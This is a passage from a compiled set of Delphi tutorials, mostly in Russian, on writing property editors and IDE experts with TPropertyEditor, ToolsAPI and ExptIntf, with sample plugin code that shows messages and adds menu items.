    function GetInt64ValueAt(Index: Integer): Int64;
    function GetMethodValue: TMethod;
    function GetMethodValueAt(Index: Integer): TMethod;
    function GetOrdValue: Longint;
    function GetOrdValueAt(Index: Integer): Longint;
    function GetStrValue: string;
    function GetStrValueAt(Index: Integer): string;
    function GetVarValue: Variant;
    function GetVarValueAt(Index: Integer): Variant;
    function GetIntfValue: IInterface;
    function GetIntfValueAt(Index: Integer): IInterface;
    procedure Modified;
    procedure SetFloatValue(Value: Extended);
    procedure SetMethodValue(const Value: TMethod);
    procedure SetInt64Value(Value: Int64);
    procedure SetOrdValue(Value: Longint);
    procedure SetStrValue(const Value: string);
    procedure SetVarValue(const Value: Variant);
    procedure SetIntfValue(const Value: IInterface);
  protected
    { IProperty }
    function GetEditValue(out Value: string): Boolean;
    function HasInstance(Instance: TPersistent): Boolean;
    { IProperty70 }
    function GetIsDefault: Boolean; virtual;
  public
    constructor Create(const ADesigner: IDesigner; APropCount: Integer); override;
    destructor Destroy; override;
    procedure Activate; virtual;
    function AllEqual: Boolean; virtual;
    function AutoFill: Boolean; virtual;
    procedure Edit; virtual;
    function GetAttributes: TpropertyAttributes; virtual;
    function GetComponent(Index: Integer): TPersistent;
    function GetEditLimit: Integer; virtual;
    function GetName: string; virtual;
    procedure GetProperties(Proc: TGetPropProc); virtual;
    function GetPropInfo: PPropInfo; virtual;
    function GetPropType: PTypeInfo;
    function GetValue: string; virtual;
    function GetVisualValue: string;
    procedure GetValues(Proc: TGetStrProc); virtual;
    procedure Initialize; override;
    procedure Revert;
    procedure SetValue(const Value: string); virtual;
    function ValueAvailable: Boolean;
    property Designer: IDesigner read FDesigner;
    property PrivateDirectory: string read GetPrivateDirectory;
    property PropCount: Integer read FPropCount;
    property Value: string read GetValue write SetValue;
  end;

Предположим, нам нужно создать редактор для текстового свойства, при нажатии кнопки "…" в Object Inspector.

Объявим специальный тип этого свойства TMyComponentStringProperty = string;

Далее, в компоненте укажем свойство данного типа property MyProperty: TMyComponentStringProperty, далее в Run-time части компонента (MyComponentReg.pas) объявим класс TMyCSPEditor (в переводе: TMyComponentStringPropertyEditor), унаследовав его от класса TStringProperty, который в свою очередь является потомком рассматриваемого класса TPropertyEditor: type TMyCSPEditor = class(TStringProperty) . Переопределим в нем несколько методов таким образом (фрагменты файла):

type
   TVRSIDBListViewExcludeColumnsPropertyEditor = class(TStringProperty)
      function GetAttributes: TPropertyAttributes; override;
      procedure Edit; override;
   end;

procedure TVRSIDBListViewExcludeColumnsPropertyEditor.Edit;
var Text: string;
begin
   if InputQuery('Введите строковое значение',Text)=False then Exit;
   Self.SetValue(Text);
end;

function TVRSIDBListViewExcludeColumnsPropertyEditor.GetAttributes: TPropertyAttributes;
begin
   Result:=[paDialog];
end;

Итак, приступаем к рассмотрению методов класса TPropertyEditor. Начнем с тех, которые мы уже использовали.

Метод Edit. Просто вызывается при щелчке на кнопке "…" в Object Inspector. В TStringProperty не переопределен.

Метод SetValue(Text: string). Должен устанавливать значение свойства в переданную строку. В TStringProperty переопределен. Этот метод вызывается самим Object Inspector, когда пользователь вводит значение поля. Вы можете переопределить этот метод для установки вашего свойства в зависимости от значения, введенного пользователем. Если вы обнаруживаете ошибку в переданном параметре - вызовите исключение.

Метод GetAttributes: TPropertyAttributes. Задает параметры свойства. Рассмотрим их по порядку.

paValueList - указывает, что редактор свойств возвращает список допустимых значений свойства через метод GetValues. В редакторе свойств рядом со свойством появляется раскрывающийся список
paSortList - указывает, что список, возвращенный GetValues нужно сортировать
paSubProperties - указывает, что у свойства имеются подсвойства (типа подсвойства Name у свойства Font класса TFont). Подсвойства, если этот флаг установлен, должны возвращаться методом GetProperties.
paDialog - указывает, что рядом со свойством должна быть кнопка "…", по нажатию которой вызывается метод Edit для редактирования значения свойства. Что мы и указали в нашем примере.
paMultiSelect - Разрешает отображать свойство в Object Inspector, даже если выделено более одного объекта
paAutoUpdate - указывает, что метод SetValue нужно вызывать при каждом изменении значения свойства, а не после нажатия Enter или выхода из Object Inspector (Пример: свойство Caption у формы изменяется одновременно с набором на клавиатуре)
paReadOnly - указывает, что значение через Object Inspector изменить нельзя. Оно устанавливается в классе TClassProperty, от которого унаследованы все классовые редакторы свойств типа TStrings, TFont и т.п. При установке рядом со значением свойства отображается строка, возвращенная методом GetValue и значение это изменить нельзя.
paRevertable - указывает, изменение значения свойства можно отменить. Это не касается вложенных подсвойств.
paFullWidthName - указывает Object Inspector, что прорисовка значения свойства не требуется и можно занять под имя свойства всю длину панели.
paVolatileSubProperties - установка этого значения указывает, что при любом изменении свойства нужно повторить сборку подсвойств (GetProperties)
paVCL - ???
paReference - указывает, что свойство является указателем на что-либо. Используется вместе с paSubProperties для указания отображения объекта, на которое ссылается в качестве подсвойств (TFont).
paNotNestable - указывает, что отображать значение свойства в момент, когда его подсвойства развернуты - небезопасно (этот пункт мне пока непонятен)
Методы GetXXXValue и SetXXXValue. Используются для внутренней установки реального значения свойства. Как правило, используются методом GetValue и SetValue. В принципе, все эти методы уже определены в классе TPropertyEditor, и переопределять их не нужно.

Метод Modified вызывается для указания того факта, что значение свойства изменено. Это метод уже определен в TPropertyEditor и переопределять его не требуется.

Метод GetEditValue возвращает true, если значение можно редактировать

Метод GetIsDefault возвращает true, если значение свойства в текущий момент является значением свойства по умолчанию. Т.е. метод должен возвращать true, если НЕ нужно сохранять значение свойства в .dfm файле.

Метод Activate вызывается при выборе свойства в Object Inspector. При использовании переопределения этого метода для отображения значения свойства исключительно в момент активизации нужно быть осторожным, если указаны параметры свойства paSubProperties и paMultiSelect.

Метод AllEqual вызывается всякий раз, когда выделяется более одного компонента. Если этот метод вернет true, будет вызван метод GetValue, в противоположном случае будет отображена пустая строка. Вызывается только, если указано свойство paMultiSelect. Очевидно, метод должен проверять совпадение свойств у все выбранных компонентов путем опроса метода GetComponent.

Метод AutoFill вызывается для определения, могут ли элементы списка быть выбраны по возрастанию. Указывается, только если указан параметр paValueList.

Метод GetComponent возвращает компонент с заданным индексом из выбранных компонентов.

Метод GetEditLimit возвращает максимальное количество символов, которые можно ввести в текстовое значение свойства. По умолчанию 255.

Метод GetName возвращает имя свойства, в котором знаки подчеркивания заменены на пробелы. Свойство метод должен переопределяться только, если свойство не предназначено для отображения в Object Inspector

Метод GetComponentValue возвращает значение свойства типа TComponent в том и только в том случае, если свойство унаследовано от TComponent. Этот метод переопределяется в классе TComponentEditor

Метод GetProperties вызывается для каждого подсвойства, которое редактируется. В метод передается параметр типа TGetPropertyProc. Это указатель на процедуру для обработки каждого свойства. Например, TClassProperty вызывает процедуру TGetPropertyProc для каждого published элемента класса, а TSetProperty - для каждого элемента множества. Т.е. при использовании подсвойств вы должны определить процедуру TGetPropertyProc, чтобы она определяла каждое подсвойство.

Метод GetPropType возвращает указатель на информацию о типе редактируемого свойства (TypeInfo (Type))

Метод GetValue возвращает значение свойства в виде текстовой строки. Например, в TClassProperty этот метод переопределен для возвращения в качестве результата имени типа класса (TStrings и т.п.).

Метод ValueAvailable возвращает true, если можно получить доступ к значению свойства, не вызывая исключения.

Описания для остальных методов и свойств, к сожалению, найти не удалось, поэтому исследовать их можно только опытным путем.

По завершении создания редактора свойств не забудьте зарегистрировать его внутри метода register вызовом

RegisterPropertyEditor(TypeInfo(<тип свойства>), <тип компонента>, <имя свойства>, <тип редактора свойства>);
RegisterPropertyEditor(TypeInfo(TMyComponentsStringProperty), TMyComponent, '', TMCSPEditor);

Передав вместо имени свойства пустую строку, мы указали тем самым, что имя может быть любым. Так же пустую строку можно передать вместо имени компонента.

Вот, собственно, и все. Пишите свой редактор свойств, переопределяйте нужные методы и вперед!

Delphi 7 ToolsAPI: Эксперты

Написание простейшего эксперта
Какой же код нужно написать для создания простейшего эксперта? Для этого нужно написать класс, унаследованный от IOTAWizard (определен в файле ToolsAPI.pas) или одного из его потомков, расположить в модуле процедуру Register, как мы это делали с компонентами, и вызвать внутри ее процедуру

RegisterPackageWizard (const Wizard: IOTAWizard);
например:
RegisterPackageWizard (TMyExpert.Create as IOTAWizard);
передав ей в качестве параметра экземпляр заранее созданного эксперта.
Рассмотрим класс IOTAWizard.
IOTAWizard = interface(IOTANotifier)
    ['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']
    { Expert UI strings }
    function GetIDString: string;
    function GetName: string;
    function GetState: TWizardState;

    { Launch the AddIn }
    procedure Execute;
  end;

Интерфейс IOTANotifier нам не понадобится, поэтому давайте рассмотрим методы IOTAWizard: Метод GetIDString должен возвращать уникальный идентификатор эксперта. Например: MyCompany.MyExpert
Метод GetName должен возвращать название эксперта
Метод GetState должен возвращать [wsEnabled], если эксперт функционирует, wsChecked если выбран.
Метод Execute вызывается при запуске эксперта из среды IDE.

Итак, если вы хотите сами программировать действия вашего эксперта, включая добавление в меню IDE и прочее и прочее, унаследуйте его от IOTAWizard.

Если вы хотите, чтобы ваш эксперт отображался в репозитории Delphi на произвольной странице и по щелчку по его иконке вызывался его метод Execute - унаследуйте его от IOTARepositoryWizard

  IOTARepositoryWizard = interface(IOTAWizard)
    ['{B75C0CE1-EEA6-11D1-9504-00608CCBF153}']
    function GetAuthor: string;
    function GetComment: string;
    function GetPage: string;
    function GetGlyph: Cardinal;
  end;

Метод GetAuthor должен возвращать имя автора,
Метод GetComment - комментарий,
Метод GetPage - страницу на которой будет расположена иконка эксперта
Метод GetGlyph - дескриптор иконки

Если вы хотите, чтобы эксперт появлялся на странице форм в репозитарии - унаследуйте его от IOTAFormWizard. Он имеет все те же методы и свойства, что и IOTARepositoryWizard, если на странице проектов - от IOTAProjectWizard. Он тоже аналогичен IOTARepositoryWizard.

Если же вы хотите, чтобы пункт меню для вызова метода вашего эксперта Execute помещался в мень Help главного меню IDE, унаследуйте вашего эксперта от IOTAMenuWizard:

  IOTAMenuWizard = interface(IOTAWizard)
    ['{B75C0CE2-EEA6-11D1-9504-00608CCBF153}']
    function GetMenuText: string;
  end;

Метод GetMenuText должен возвращать имя пункта меню для отображения, а метод GetState возвращает стиль элемента меню (Enabled, Checked)
Вот так все просто, оказывается!

Расположение эксперта внутри DLL библиотеки
Если вы хотите расположить вашего эксперта не в пакете, а в DLL библиотеке, библиотека должна экспортировать функцию INITWIZARD0001 следующего формата:

type TWizardRegisterProc = function(const Wizard: IOTAWizard): Boolean;
type TWizardTerminateProc = procedure;
function INITWIZARD0001(const BorlandIDEServices: IBorlandIDEServices; RegisterProc: TWizardRegisterProc; var Terminate: TWizardTerminateProc): Boolean stdcall;

Для регистрации вашего эксперта вызовите внутри этой функции RegisterProc и передайте ей экземпляр заранее созданного класса вашего эксперта. BorlandIDEServices - указатель на основной интерфейс для работы со всей IDE. Отдельные части его мы рассмотрим далее. По окончании работы IDE или при принудительной выгрузке вашего эксперта будет вызвана функция Terminate, которую вы должны передать среде.

Поместите полный путь к DLL в ключ реестра
HKEY_CURRENT_USER\Software\Borland\Delphi\7.0\Experts
или
HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\7.0\Experts
Именем ключа может быть произвольная строка.
Эксперт будет запущен только при перезапуске среды, если она выполнялась. Вуаля!

Автор статьи: Раструсный Владислав Юрьевич
Взято с сайта http://www.delphimaster.ru/


Создание редактора свойства

Взято из FAQ: http://blackman.km.ru/myfaq/cont4.phtml
Если вы присвоили свойству имя TableName, то полный цикл создания
редактора свойств включает следующие шаги:
Опишите класс редактора свойства:

type
TTableNameProperty = class(TStringProperty)
function GetAttributes: TPropertyAttributes; override;
procedure GetValues(Proc: TGetStrProc); override;
end;

implementation

{ TTableNameProperty }
function TTableNameProperty.GetAttributes: TPropertyAttributes;
begin
  Result := [paValueList];
end;

procedure TTableNameProperty.GetValues(Proc: TGetStrProc);
var
TableName: String;
I: Integer;
begin
{ здесь вы должны добавить свой код, ?тобы с помощью цикла обойти имена всех
таблиц, включенных в список }
for I := 0 to ???? do
begin
TableName := ????[I];
Proc(TableName);
end;
end;

Затем зарегистрируйте данный редактор свойства следующим образом:

 RegisterPropertyEditor(TypeInfo(string), TcsNotebook, 'TableName', TTableNameProperty);

Взято с Vingrad.ru http://forum.vingrad.ru


Ещё примеры экспертов

This article introduces you to the world of Delphi Experts. Delphi Experts are DLLs, that will be loaded during the startup sequence of Delphi. This article first appeared on Delphi-PRAXiShttp://www.delphipraxis.net/viewtopic.php?t=5300 in German.

NOTE: The techniques shown in this article are valid starting with Delphi 3 or 4 and since Delphi 7 they are deprecated, however, still fully suported by the Delphi IDE.

Installation of a Delphi-IDE-Expert

Every Delphi-Expert has to be registered in the Windows-Registry. For each Delphi-Version installed on a machine, as well as for each user using the machine, the Delphi-Expert has to be registered separately.

In the Registry the Delphi-Expert has to be registered under the folowing key:

HKCU\Software\Borland\Delphi\X.0\Experts

, where the X has to be replaced by the appropriate Delphi-Version supported. It may happen that the Experts key is not installed, in such case you are required to create it.

Underneath the Experts key you have to create a string value for the Delphi-Expert. The name must be unique. The value must point to the Delphi-Expert DLL, including both complete path and file name of the Delphi-Expert. Next time Delphi starts, the Expert will be loaded automatically.

The interface of the Delphi-Expert

In order for the Delphi Expert to interact with the Delphi-IDE ist has to export a function with the name ExpertEntryPoint, using the following parameters:

function InitExpert(ToolServices: TIToolServices; RegisterProc:
  TExpertRegisterProc; var Terminate: TExpertTerminateProc): Boolean; export;
  stdcall;

The first parameter ToolServices offers all "documented" interfaces to the Delphi-IDE. The second parameter RegisterProc is used to load the expert into the Delphi-IDE. The last parameter Teminate is used to notify the Expert-DLL when it is about to be unloaded by the Delphi-IDE.

The InitExpert method returns True, if the Expert has loaded successfully, otherwise it can eiter return False or raises an exception to unload the DLL from the Delphi-IDE (see code sample for solution).

The PlugIn class TIExpert

Any Delphi-Expert must be derived from the class TIExpert, which is declared in the unit ExptIntf. This class defines some abstract methods, which must be implemented by each PlugIn: GetName, GetAuthor, GetComment, GetPage, GetGlyph (different for Windows and Linux), GetStyle, GetState, GetIDString, GetMenuText and Execute. The purpose of each method is explained in the source code below.

The simplest Delphi-Expert

This Delphi-Expert want do much good, however, it shows you the basic way of getting the job done. It will show an entry in the Help menu (default behavior). Once the user clicks the menu item the method Execute from the Expert will be called. The following points must be respected in order to get the expert working:

· The method GetState must return [esEnabled]
· The method GetStyle must return esStandard
· The method GetMenuText returns the text to be shown in the Help menu
· The method Execute defines the expert action upon activation

The Library Source Code (DelphiPlugI.dpr)

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 *
 * App. Name : DelphiPlug
 * Autor     : Daniel Wischnewski
 * Copyright : Copyright © 2000-2003 by gate(n)etwork GmbH. All Right Reserved.
 * Urheber   : Daniel Wischnewski
 *
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

library DelphiPlug;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  ShareMem,
  ExptIntf,
  uPlugIn in 'uPlugIn.pas';

{$R *.res}

exports
  InitExpert name ExpertEntryPoint;

begin
end.

The Unit Source Code (uPlugIn.pas)

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 *
 * Unit Name : uPlugIn
 * Autor     : Daniel Wischnewski
 * Copyright : Copyright © 2000-2003 by gate(n)etwork GmbH. All Right Reserved.
 * Urheber   : Daniel Wischnewski
 *
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit uPlugIn;

interface

uses
  ToolIntf, EditIntf, ExptIntf, VirtIntf, Windows, Messages;

const
  MIdx_Main = $0001;
  MIdx_ShowItems = $0002;
  MIdx_RunCommand = $0003;

type
  TDelphiPlug = class(TIExpert)
  private
  protected
  public
    // abstract methods to be overriden
    { Expert UI strings }
    function GetName: string; override; stdcall;
    function GetAuthor: string; override; stdcall;
    function GetComment: string; override; stdcall;
    function GetPage: string; override; stdcall;
{$IFDEF MSWINDOWS}
    function GetGlyph: HICON; override; stdcall;
{$ENDIF}
{$IFDEF LINUX}
    function GetGlyph: Cardinal; override; stdcall;
{$ENDIF}
    function GetStyle: TExpertStyle; override; stdcall;
    function GetState: TExpertState; override; stdcall;
    function GetIDString: string; override; stdcall;
    function GetMenuText: string; override; stdcall;
    { Launch the Expert }
    procedure Execute; override; stdcall;
  end;

function InitExpert(ToolServices: TIToolServices; RegisterProc:
  TExpertRegisterProc; var Terminate: TExpertTerminateProc): Boolean; export;
stdcall;

implementation

uses
  SysUtils, ShellAPI;

function InitExpert(ToolServices: TIToolServices; RegisterProc:
  TExpertRegisterProc; var Terminate: TExpertTerminateProc): Boolean; export;
  stdcall;
var
  DelphiPlug: TDelphiPlug;
begin
  Result := True;
  try
    // assign tools services
    ExptIntf.ToolServices := ToolServices;
    // create the Delphi-Plug
    DelphiPlug := TDelphiPlug.Create;
    // register with Delphi
    RegisterProc(DelphiPlug);
  except
    // kill assistant
    ToolServices.RaiseException(ReleaseException);
  end;
end;

{ TDelphiPlug }

procedure TDelphiPlug.Execute;
begin
  // en:
  //   Execute will be called, whenever the user clicks on the menu entry in the
  //   help menu
  MessageBox(ToolServices.GetParentHandle, 'How may I help you?', 'Hmm',
    MB_ICONQUESTION + MB_OK);
end;

function TDelphiPlug.GetAuthor: string;
begin
  // en:
  //   returns the name of the author of the plugin
  Result := 'sakura (Daniel Wischnewski)';
end;

function TDelphiPlug.GetComment: string;
begin
  // en:
  //   I got no idea where this comment will be displayed, ever.
  Result := 'A simple Delphi-PlugIn example.';
end;

{$IFDEF MSWINDOWS}

function TDelphiPlug.GetGlyph: HICON;
begin
  // en:
  //   an icon handle for the entry in the help menu
  Result := NOERROR;
end;
{$ENDIF}
{$IFDEF LINUX}

function TDelphiPlug.GetGlyph: Cardinal;
begin
  // en:
  //   an icon handle for the entry in the help menu
  Result := NOERROR;
end;
{$ENDIF}

function TDelphiPlug.GetIDString: string;
begin
  // en:
  //   id of the expert
  Result := 'DelphiPlugSampleI';
end;

function TDelphiPlug.GetMenuText: string;
begin
  // en:
  //   this text will be schon in the help menu. each time the menu drops down,
  //   this method will be called.
  //   NOTE:
  //     the method GetState must return esStandard, otherwise the help menu
  //     entry will not be generated and shown
  Result := 'You will find me in the help menu';
end;

function TDelphiPlug.GetName: string;
begin
  // en:
  //   this name must be unique
  Result := 'sakura_DelphiPlugSample';
end;

function TDelphiPlug.GetPage: string;
begin
  // en:
  //   interesting to experts expanding the default dialogs of the Delphi-IDE
  Result := '';
end;

function TDelphiPlug.GetState: TExpertState;
begin
  // en:
  //   returns a set of states
  //   possible values: esEnabled, esChecked
  Result := [esEnabled];
end;

function TDelphiPlug.GetStyle: TExpertStyle;
begin
  // en:
  //   returns the type of expert
  Result := esStandard;
end;

end.

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Использование открытых интерфейсов

Одной и наиболее сильных сторон среды программирования Delphi является ее открытая архитектура, благодаря которой Delphi допускает своего рода метапрограммирование, позволяя "программировать среду программирования". Такой подход переводит Delphi на качественно новый уровень систем разработки приложений и позволяет встраивать в этот продукт дополнительные инструментальные средства, поддерживающие практически все этапы создания прикладных систем. Столь широкий спектр возможностей открывается благодаря реализованной в Delphi концепции так называемых открытых интерфейсов, являющихся связующим звеном между IDE (Integrated Development Environment) и внешними инструментами. Данная статья посвящена открытым интерфейсам Delphi и представляет собой обзор представляемых ими возможностей.

В Delphi определены шесть открытых интерфейсов: Tool Interface, Design Interface, Expert Interface, File Interface, Edit Interface и Version Control Interface. Вряд ли в рамках данной статьи нам удалось бы детально осветить и проиллюстрировать возможности каждого из них. Более основательно разобраться в рассматриваемых вопросах вам помогут исходные тексты Delphi, благо разработчики снабдили их развернутыми комментариями. Объявления классов, представляющих открытые интерфейсы, содержатся в соответствующих модулях в каталоге ...\Delphi\Source\ToolsAPI.

Design Interface (модуль DsgnIntf.pas)
предоставляет средства для создания редакторов свойств и редакторов компонентов. Редакторы свойств и компонентов – это тема, достойная отдельного разговора, поэтому напомним лишь, что редактор свойства контролирует поведение Инспектора Объектов при попытке изменить значение соответствующего свойства, а редактор компонента активизируется при двойном нажатии левой кнопки мыши на изображении помещенного на форму компонента.
Version Control Interface (модуль VCSIntf.pas)
предназначен для создания систем контроля версий. Начиная с версии 2.0, Delphi поддерживает интегрированную систему контроля версий Intersolv PVCS, поэтому в большинстве случаев в разработке собственной системы нет необходимости. По этой причине рассмотрение Version Control Interface мы также опустим.
File Interface (модуль FileIntf.pas)
позволяет переопределить рабочую файловую систему IDE, что дает возможность выбора собственного способа хранения файлов (в Memo-полях на сервере БД, например).
Edit Interface (модуль EditIntf.pas)
предоставляет доступ к буферу исходных текстов, что позволяет проводить анализ кода и выполнять его генерацию, определять и изменять позицию курсора в окне редактора кода, а также управлять синтаксическим выделением исходного текста. Специальные классы предоставляют интерфейсы к помещенным на форму компонентам (определение типа компонента, получение ссылок на родительский и дочерние компоненты, доступ к свойствам, передача фокуса, удаление и т.д.), к самой форме и к ресурсному файлу проекта. Также Edit Interface позволяет идентифицировать так называемые модульные нотификаторы, определяющие реакцию на такие события, как изменение исходного текста модуля, модификация формы, переименование компонента, сохранение, переименование или удаление модуля, изменение ресурсного файла проекта и т. д.
Tool Interface (модуль ToolIntf.pas)
предоставляет разработчикам средства для получения общей информации о состоянии IDE и выполнения таких действий, как открытие, сохранение и закрытие проектов и отдельных файлов, создание модуля, получение информации о текущем проекте (число модулей и форм, их имена и т. д.), регистрация файловой системы, организация интерфейсов к отдельным модулям и т.д. В дополнение к модульным нотификаторам Tool Interface определяет add-in нотификаторы, уведомляющие о таких событиях, как открытие/закрытие файлов и проектов, загрузка и сохранение desktop-файла проекта, добавление/исключение модулей проекта, инсталляция/деинсталляция пакетов, компиляция проекта, причем в отличие от модульных нотификаторов add-in нотификаторы позволяют отменить выполнение некоторых событий. Кроме того, Tool Interface предоставляет средства доступа к главному меню IDE Delphi, позволяя встраивать в него дополнительные пункты.
Expert Interface (модуль ExptIntf.pas)
представляет собой основу для создания экспертов — программных модулей, встраиваемых в IDE c целью расширения ее функциональности. В качестве примера эксперта можно привести входящий в Delphi Database Form Wizard, выполняющий генерацию формы для просмотра и изменения содержимого таблицы БД.
Эксперты бывают нескольких типов (стилей):

Стиль Описание
esStandard Для каждого эксперта такого стиля IDE добавляет пункт меню Tools/..., при выборе которого эксперт активизируется (IDE вызывает его метод Execute)
esForm
esProject IDE рассматривает эксперты данного стиля как шаблоны форм/проектов и помещает активизирующие их изображения в галерею Object Repository.
esAddIn Эксперты подобного стиля обеспечивают собственный интерфейс с IDE

Класс каждого эксперта является потомком базового класса TIExpert, содержащего серию абстрактных методов, которые необходимо перекрыть в порождаемом классе:

Метод Описание
GetName Должен возвращать имя эксперта
GetAuthor Должен возвращать имя автора эксперта. Это имя отображается в Object Repository
GetComment Должен возвращать комментарий (1-2 предложения), поясняющий назначение эксперта. Используется в Object Repository
GetPage Должен возвращать название страницы Object Repository, на которую IDE поместит соответствующее эксперту изображение
GetGlyph Должен возвращать дескриптор (HICON, в Delphi 1.0 – HBITMAP) соответствующего эксперту изображения в ObjectRepository
GetStyle Должен возвращать константу, соответствующую стилю эксперта (esStandard/esForm/esProject/esAddIn)
GetState Если возвращаемое множество содержит константу esChecked, IDE пометит соответствующий эксперту пункт меню "галочкой", а если множество содержит константу esEnabled, то IDE сделает этот пункт меню доступным для выбора
GetIDString Должен возвращать строку – идентификатор эксперта, уникальную среди всех установленных экспертов. По соглашению, формат этой строки таков:
Имя_Компании.Назначение_эксперта,
например: Borland.WidgetExpert
GetMenuText Должен возвращать текст, отображаемый в пункте меню эксперта. Этот метод вызывается каждый раз, когда раскрывается родительское меню, что позволяет сделать пункт меню контекстно-чувствительным
Execute Вызывается при вызове эксперта через меню или Object Repository (в зависимости от стиля)

Набор методов, подлежащих перекрытию, зависит от стиля эксперта:

Метод esStandard esForm esProject esAddIn
GetName + + + +
GetAuthor + +
GetComment + +
GetPage + +
GetGlyph + +
GetStyle + + + +
GetState +
GetIDString + + + +
GetMenuText +
Execute + + +

Определив класс эксперта, необходимо позаботиться о том, чтобы Delphi "узнала" о нашем эксперте. Для этого его нужно зарегистрировать посредством вызова процедуры RegisterLibraryExpert, передав ей в качестве параметра экземпляр класса эксперта.

В качестве иллюстрации создадим простой эксперт в стиле esStandard, который при выборе соответствующего ему пункта меню Delphi выводит сообщение о том, что он запущен. Как видно из вышеприведенной таблицы, стиль esStandard обязывает перекрыть шесть методов:

unit exmpl_01;

{ STANDARD EXPERT }

interface

uses
  Dialogs, ExptIntf;

type
  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    function GetMenuText: string; override;
    function GetState: TExpertState; override;
    procedure Execute; override;
end;

procedure register;

implementation

{ возвращаем имя эксперта }
function TEMyExpert.GetName: string;
begin
  Result := 'My Simple Expert 1';
end;

{ возвращаем стиль эксперта }
function TEMyExpert.GetStyle: TExpertStyle;
begin
  Result := esStandard;
end;

{ возвращаем строку - идентификатор эксперта }
function TEMyExpert.GetIDString: string;
begin
  Result := 'Doomy.SimpleAddInExpert_1';
end;

{ возвращаем текст пункта меню }
function TEMyExpert.GetMenuText: string;
begin
  Result := 'Simple Expert 1';
end;

{ возвращаем множество, характеризующее состояние пункта меню эксперта }
{ (доступность, наличие "галочки"); в данном случае пункт меню доступен, }
{ а "галочка" отсутствует }
function TEMyExpert.GetState: TExpertState;
begin
  Result := [esEnabled];
end;

{ при выборе пункта меню эксперта отображаем сообщение }
procedure TEMyExpert.Execute;
begin
  MessageDlg('Standard Expert Started!', mtInformation, [mbOK], 0);
end;

{ регистрируем эксперт }
procedure register;
begin
  RegisterLibraryExpert( TEMyExpert.Create);
end;

end.

Для того чтобы эксперт был "приведен в действие", необходимо выбрать пункт меню Component/Install Component ... , выбрать в диалоге Browse модуль, содержащий эксперт (в нашем случае exmpl_01.pas), нажать ОК, и после компиляции пакета dclusr30.dpk в главном меню Delphi в разделе Help должен появиться пункт Simple Expert 1, при выборе которого появляется информационное сообщение "Standard Expert started!".

Почему Delphi помещает пункт меню эксперта в раздел Help, остается загадкой. Если вам не нравится то, что пункт меню появляется там, где угодно Delphi, а не там, где хотите вы, возможен следующий вариант: создать эксперт в стиле add-in, что исключает автоматическое создание пункта меню, а пункт меню добавить "вручную", используя средства Tool Interface. Это позволит задать местоположение нового пункта в главном меню произвольным образом. Для добавления пункта меню используется класс TIToolServices — основа Tool Interface — и классы TIMainMenuIntf, TIMenuItemIntf, реализующие интерфейсы к главному меню IDE и его пунктам. Экземпляр ToolServices класса TIToolServices создается самой IDE при ее инициализации. Обратите внимание на то, что ответственность за освобождение интерфейсов к главному меню Delphi и его пунктам целиком ложится на разработчика. Попутно немного усложним функциональную нагрузку эксперта: при активизации своего пункта меню он будет выдавать справку об имени проекта, открытого в данный момент в среде:

unit exmpl_02;

{ ADD-IN EXPERT, ДОБАВЛЕНИЕ ПУНКТА В ГЛАВНОЕ МЕНЮ IDE DELPHI }
interface

uses
  Classes, Dialogs, ToolIntF, ExptIntf, Menus;

type
  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    MenuItem: TIMenuItemIntf;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure MenuItemClick( Sender: TIMenuItemIntf);
end;

procedure register;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;

implementation

{ добавляем пункт в главное меню IDE Delphi: }
{ 1) текст вставляемого пункта меню - 'Simple Expert 2'; }
{ 2) идентификатор вставляемого пункта меню - 'ViewMyExpertItem2'; }
{ 3) идентификатор пункта меню, перед которым добавляется новый }
{ пункт меню - 'ViewWatchItem' (для Delphi 5 - 'ViewWatchesItem');}
{ 4) горячая клавиша вставляемого пункта - 'Ctrl + 2'; }
{ 5) обработчик события, соответствующего выбору вставляемого пункта }
{ меню - MenuItemClick }
constructor TEMyExpert.Create;
begin
  inherited Create;
  MenuItem:= AddIDEMenuItem( 'Simple Expert 2', 'ViewMyExpertItem2',
  {$IFDEF VER130}
  'ViewWatchesItem', '2', MenuItemClick);
  {$ELSE}
  'ViewWatchItem', '2', MenuItemClick);
  {$ENDIF}
end;

destructor TEMyExpert.Destroy;
begin
  if Assigned( MenuItem) then
    MenuItem.Free;
  inherited Destroy;
end;

{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
begin
  MessageDlg( 'Current project name is ' + ToolServices.GetProjectName,
  mtInformation, [mbOK], 0);
end;

{ возвращаем имя эксперта }
function TEMyExpert.GetName: string;
begin
  Result := 'My Simple Expert 2';
end;

{ возвращаем стиль эксперта }
function TEMyExpert.GetStyle: TExpertStyle;
begin
  Result := esAddIn;
end;

{ возвращаем строку - идентификатор эксперта }
function TEMyExpert.GetIDString: string;
begin
  Result := 'Doomy.SimpleAddInExpert_2';
end;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;
var
  MainMenu: TIMainMenuIntf;
  MenuItems, PreviousItem, ParentItem: TIMenuItemIntf;
begin
  Result:= nil;
  { получаем интерфейс пунктов главного меню IDE }
  MainMenu:= ToolServices.GetMainMenu;
  if Assigned( MainMenu) then
    try
